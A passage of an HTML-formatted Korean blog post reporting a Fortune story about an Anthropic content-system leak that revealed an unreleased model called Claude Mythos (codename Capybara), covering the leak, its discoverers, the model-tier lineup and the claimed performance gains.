&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;3줄 요약&lt;/b&gt;&lt;br /&gt;1. 앤트로픽 CMS 인적 오류로 약 3,000건 미공개 자료 유출 &amp;mdash; 그 안에 역대 최강 모델 &lt;b&gt;Claude Mythos(코드명 Capybara)&lt;/b&gt; 존재 확인 (출처: Fortune, 2026-03-26)&lt;br /&gt;&lt;br /&gt;2. 모델은 소프트웨어 코딩&amp;middot;학술 추론&amp;middot;사이버보안 전 분야에서 Claude Opus 4.6 대비 극적으로 높은 점수 &amp;mdash; 내부 문서는 &quot;전례 없는 사이버보안 위험&quot;이라고 자체 경고&lt;br /&gt;&lt;br /&gt;3. 앤트로픽은 2026-02-24 RSP v3.0을 발효하며 기존 &quot;학습 중단&quot; 하드 커밋먼트를 삭제 &amp;mdash; ASL-4 임박 신호와 맞물려 AI 안전 논쟁이 재점화&lt;/div&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;사건 개요 &amp;mdash; 실수로 열린 판도라의 상자
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;무엇이 노출됐나&lt;/li&gt;
&lt;li&gt;누가 발견했나&lt;/li&gt;
&lt;li&gt;앤트로픽의 공식 대응&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Claude Mythos와 Capybara 계층
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;두 이름의 관계&lt;/li&gt;
&lt;li&gt;Capybara: Opus를 넘는 새 계층&lt;/li&gt;
&lt;li&gt;&quot;지금까지 개발한 AI 모델 중 단연 가장 강력한&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;성능 &amp;mdash; 무엇이 다른가
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;코딩&amp;middot;추론&amp;middot;사이버보안&lt;/li&gt;
&lt;li&gt;&quot;step change&quot;의 의미&lt;/li&gt;
&lt;li&gt;경쟁 구도 &amp;mdash; GPT-5, Gemini 3와의 맥락&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;전례 없는 사이버보안 위험
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;내부 경고 내용&lt;/li&gt;
&lt;li&gt;공격자 vs 방어자 비대칭&lt;/li&gt;
&lt;li&gt;업계 전반의 사이버 위험 &amp;mdash; Anthropic만의 문제가 아니다&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;ASL-4 임박 신호
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;ASL 체계란&lt;/li&gt;
&lt;li&gt;현재 모델 수준&lt;/li&gt;
&lt;li&gt;ASL-4의 의미&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;RSP v3.0 &amp;mdash; Pause 약속 삭제의 의미
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;무엇이 바뀌었나&lt;/li&gt;
&lt;li&gt;왜 바꿨나&lt;/li&gt;
&lt;li&gt;비판과 반론&lt;/li&gt;
&lt;li&gt;업계 정책 비교 &amp;mdash; OpenAI&amp;middot;Google과의 수렴과 차이&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;출시 전략 &amp;mdash; 신중한 단계적 배포
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;얼리 액세스 &amp;rarr; 사이버 방어 우선&lt;/li&gt;
&lt;li&gt;정식 출시 타임라인&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;개발자&amp;middot;보안 전문가에게 주는 시사점&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;자주 묻는 질문&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;참고 자료&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 1 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 사건 개요 &amp;mdash; 실수로 열린 판도라의 상자&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;무엇이 노출됐나&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 26일, Fortune이 단독으로 보도한 내용에 따르면 앤트로픽의 CMS(콘텐츠 관리 시스템) 외부 도구에 설정 오류가 발생해, 중앙 데이터 저장소에 업로드된 자료 가운데 &lt;b&gt;명시적으로 비공개 설정을 하지 않은 것들이 기본적으로 공개 상태&lt;/b&gt;가 됐다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이로 인해 앤트로픽의 뉴스&amp;middot;연구 사이트에 정식으로 발행되지 않은 미공개 자산 약 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;3,000건&lt;/b&gt;&lt;/span&gt;이 외부에서 접근 가능한 상태였다. 여기에는 발표 예정인 블로그 게시물 초안, 관련 이미지, 내부 문서 등이 포함됐다. 그 중 가장 주목받은 것은 아직 공개되지 않은 신규 AI 모델에 관한 두 가지 버전의 초안 블로그 포스트였다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px 20px; border-radius: 10px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;공식 문서 출처&lt;/b&gt;&lt;br /&gt;Fortune에 따르면 앤트로픽은 외부 CMS 도구 문제로 초안 콘텐츠가 접근 가능한 상태가 됐다고 설명했다.&lt;br /&gt;(앤트로픽 대변인, Fortune 인용 &amp;mdash; 원문 간접 인용)&lt;br /&gt;&lt;br /&gt;앤트로픽은 이 사건을 &quot;인적 오류의 결과(result of human error)&quot;라고 공식 설명했다.&lt;br /&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://fortune.com/2026/03/26/anthropic-says-testing-mythos-powerful-new-ai-model-after-data-leak-reveals-its-existence-step-change-in-capabilities/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&amp;rarr; Fortune 원본 기사 (2026-03-26)&lt;/a&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;누가 발견했나&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 노출된 저장소를 발견하고 검토한 것은 두 명의 보안 연구원이었다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0px; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;연구원&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;소속&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;Roy Paz&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;LayerX Security (선임 AI 보안 연구원)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;노출 저장소 발견 및 1차 검토&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;Alexandre Pauwels&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;University of Cambridge (사이버보안 연구원)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;보안이 취약한 공개 접근 가능 저장소 분석&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;두 연구원은 이 자료를 Fortune에 제공했고, Fortune은 3월 26일 단독 보도로 세상에 알렸다. 이후 국내외 주요 언론이 일제히 보도를 이어갔다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://fortune.com/2026/03/26/anthropic-says-testing-mythos-powerful-new-ai-model-after-data-leak-reveals-its-existence-step-change-in-capabilities/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Fortune, 2026-03-26&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;앤트로픽의 공식 대응&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;앤트로픽은 이 사건에 대해 비교적 즉각적으로 반응했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;대변인은 Fortune의 보도에 대해 새로운 모델을 학습했으며 현재 테스트 중임을 인정했다. 동시에 &quot;추론, 코딩 및 사이버보안 측면에서 의미 있는 발전을 이룬 범용 모델을 개발하고 있다&quot;고 밝혔으며, 이 모델이 &quot;&lt;b&gt;step change(획기적 변화)&lt;/b&gt;&quot;를 가져올 것이며 &quot;지금까지 개발한 모델 중 가장 뛰어난 성능을 자랑한다&quot;고 덧붙였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;또한 &quot;소수의 얼리 액세스 고객과 협력하여 모델을 테스트하고 있다&quot;고 확인했다. 보안 문제를 해결했으며 추가 미공개 자산의 노출을 방지하기 위한 조치를 취했다고 밝혔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 2 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. Claude Mythos와 Capybara 계층&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;두 이름의 관계&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;유출된 자료에서 모델은 두 가지 이름으로 등장한다. &lt;b&gt;Claude Mythos&lt;/b&gt;(미토스)와 &lt;b&gt;Capybara&lt;/b&gt;(카피바라)다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff9e6; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&amp;bull; Fortune 원본 보도는 두 이름이 &lt;b&gt;동일 모델&lt;/b&gt;을 가리키는 것으로 서술한다.&lt;br /&gt;&amp;bull; 일부 2차 매체는 Capybara를 &quot;독립된 새 계층 이름&quot;으로 해석하지만, 이는 Fortune 원본에 기반한 추가 해석이다.&lt;br /&gt;&amp;bull; &quot;Capybara가 계층 이름인지, 아니면 모델의 후보 이름인지&quot;는 &lt;b&gt;Anthropic이 아직 공식 확인하지 않았다.&lt;/b&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Fortune 원본 보도를 기준으로 정리하면, 초안 블로그 포스트 버전 1은 &quot;Mythos&quot;라는 이름을 사용하고, 버전 2는 &quot;Capybara&quot;라는 이름을 사용했다. 두 문서 모두 동일한 신규 최상위 모델을 설명한다. 본 글에서는 일반적으로 통용되는 표현인 &lt;b&gt;Claude Mythos(코드명 Capybara)&lt;/b&gt;로 통일해 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Capybara: Opus를 넘는 새 계층&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2046&quot; data-origin-height=&quot;1112&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJyLhf/dJMcaiQgcRu/3oM8oec5WtPTtHB9U5yqD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJyLhf/dJMcaiQgcRu/3oM8oec5WtPTtHB9U5yqD0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJyLhf/dJMcaiQgcRu/3oM8oec5WtPTtHB9U5yqD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJyLhf%2FdJMcaiQgcRu%2F3oM8oec5WtPTtHB9U5yqD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2046&quot; height=&quot;1112&quot; data-origin-width=&quot;2046&quot; data-origin-height=&quot;1112&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;유출 문서에는 Capybara에 대해 이렇게 설명한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: Fortune, 2026-03-26)&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 8px; margin: 25px 0; border: 1px solid #b3d9ff;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px; font-size: 18px;&quot; data-ke-size=&quot;size23&quot;&gt;Capybara 계층의 위치&lt;/h3&gt;
&lt;p style=&quot;margin: 0; line-height: 1.8;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Capybara는 새로운 모델 계층의 새로운 이름이며, 지금까지 가장 강력했던 Opus보다 더 크고 지능적이다. 단, 더 비싸다.&quot;&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0 0 0; font-style: italic; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(유출된 초안 블로그 포스트 내용, Fortune 인용)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;현재 앤트로픽의 모델 계층은 하이쿠(Haiku) &amp;rarr; 소네트(Sonnet) &amp;rarr; 오퍼스(Opus) 순으로 구성되어 있다. Capybara는 이 Opus 위에 새로운 최상위 계층으로 자리 잡는다. 이는 단순한 버전 업그레이드가 아니라 &lt;b&gt;계층 자체의 확장&lt;/b&gt;이다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0px; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;계층&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;대표 모델&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;특징&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;상태&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;Haiku&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;Claude Haiku 4.5&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;속도&amp;middot;비용 최적화, 경량&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;정식 출시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;Sonnet&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;Claude Sonnet 4.6&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;균형형, 범용&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;정식 출시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;Opus&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;Claude Opus 4.6&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;최고 성능, 복잡한 작업&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;정식 출시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff3cd;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;Capybara&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;Claude Mythos&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;Opus를 초월, 극도의 성능&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;얼리 액세스 테스트 중&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px; font-style: italic; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;※ 계층 구조는 유출 초안 문서 및 Fortune 보도 기반. 정식 출시 전까지 변경될 수 있음.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&quot;지금까지 개발한 AI 모델 중 단연 가장 강력한&quot;&lt;/h3&gt;
&lt;figure class=&quot;imageblock floatRight&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1086&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/A8HDx/dJMcafe0ZEf/J6UCKa7u9KNk2QCktPUViK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/A8HDx/dJMcafe0ZEf/J6UCKa7u9KNk2QCktPUViK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/A8HDx/dJMcafe0ZEf/J6UCKa7u9KNk2QCktPUViK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FA8HDx%2FdJMcafe0ZEf%2FJ6UCKa7u9KNk2QCktPUViK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1992&quot; height=&quot;1086&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1086&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;유출 문서에서 가장 인상적인 표현은 앤트로픽의 자기 평가다. 유출된 초안에는 Claude Mythos에 대해 &lt;b&gt;&quot;지금까지 개발한 AI 모델 중 단연 가장 강력한 모델(by far the most powerful AI model we've ever developed)&quot;&lt;/b&gt;이라고 적혀 있다. 앤트로픽 대변인도 이 모델이 &quot;step change&quot;를 가져올 것이라고 공식 확인했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://fortune.com/2026/03/26/anthropic-says-testing-mythos-powerful-new-ai-model-after-data-leak-reveals-its-existence-step-change-in-capabilities/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Fortune, 2026-03-26&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 3 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 성능 &amp;mdash; 무엇이 다른가&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;코딩 &amp;middot; 추론 &amp;middot; 사이버보안&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;유출된 초안 문서는 Claude Opus 4.6과 Capybara(Mythos)를 비교하며 구체적인 영역을 명시한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: Fortune, 2026-03-26)&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px 20px; border-radius: 10px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;유출 초안 원문 인용&lt;/b&gt;&lt;br /&gt;&quot;Compared to our previous best model, Claude Opus 4.6, Capybara gets &lt;b&gt;dramatically higher scores&lt;/b&gt; on tests of &lt;b&gt;software coding, academic reasoning, and cybersecurity&lt;/b&gt;, among others.&quot;&lt;br /&gt;&lt;br /&gt;(&amp;ldquo;기존 최고 성능 모델인 Claude Opus 4.6과 비교하면, Capybara는 소프트웨어 코딩, 학문적 추론, 사이버보안 등 다양한 테스트에서 훨씬 뛰어난 점수를 보여줍니다.&amp;rdquo;)&lt;br /&gt;&lt;br /&gt;(유출된 앤트로픽 초안 블로그, Fortune 보도)&lt;/div&gt;
&lt;div style=&quot;background-color: #fff9e6; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&amp;bull; &quot;dramatically higher scores&quot;는 정성적 표현이며 구체적인 수치 벤치마크는 유출 문서에서 공개되지 않았다.&lt;br /&gt;&amp;bull; 정확한 점수 차이와 벤치마크 환경은 앤트로픽의 공식 성능 보고서 발표를 기다려야 한다.&lt;br /&gt;&amp;bull; 현재로서는 앤트로픽의 자체 평가이며 독립 제3자 검증은 이루어지지 않았다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&quot;step change&quot;의 의미&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;앤트로픽이 사용한 &quot;step change&quot;라는 표현은 단순한 점진적 개선(incremental improvement)이 아닌 &lt;b&gt;질적으로 다른 도약&lt;/b&gt;을 의미한다. AI 모델 발전에서 이 표현은 새로운 능력 영역이 열렸을 때 사용하는 업계 용어다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;앤트로픽이 자체적으로 이 표현을 사용하는 경우는 드물다. 이번 유출과 대변인의 공식 발언 모두 일관되게 &quot;step change&quot;를 사용했다는 점은 주목할 만하다. 다만 구체적으로 어떤 새로운 능력이 생겼는지는 공식 발표 전까지 추정, 추측 수준에서만 논의 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;경쟁 구도 &amp;mdash; GPT-5, Gemini 3와의 맥락&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1090&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/L1iCm/dJMcaf0ka2N/uMhUpsK1TL8fzwtftNdppK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/L1iCm/dJMcaf0ka2N/uMhUpsK1TL8fzwtftNdppK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/L1iCm/dJMcaf0ka2N/uMhUpsK1TL8fzwtftNdppK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FL1iCm%2FdJMcaf0ka2N%2FuMhUpsK1TL8fzwtftNdppK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1992&quot; height=&quot;1090&quot; data-origin-width=&quot;1992&quot; 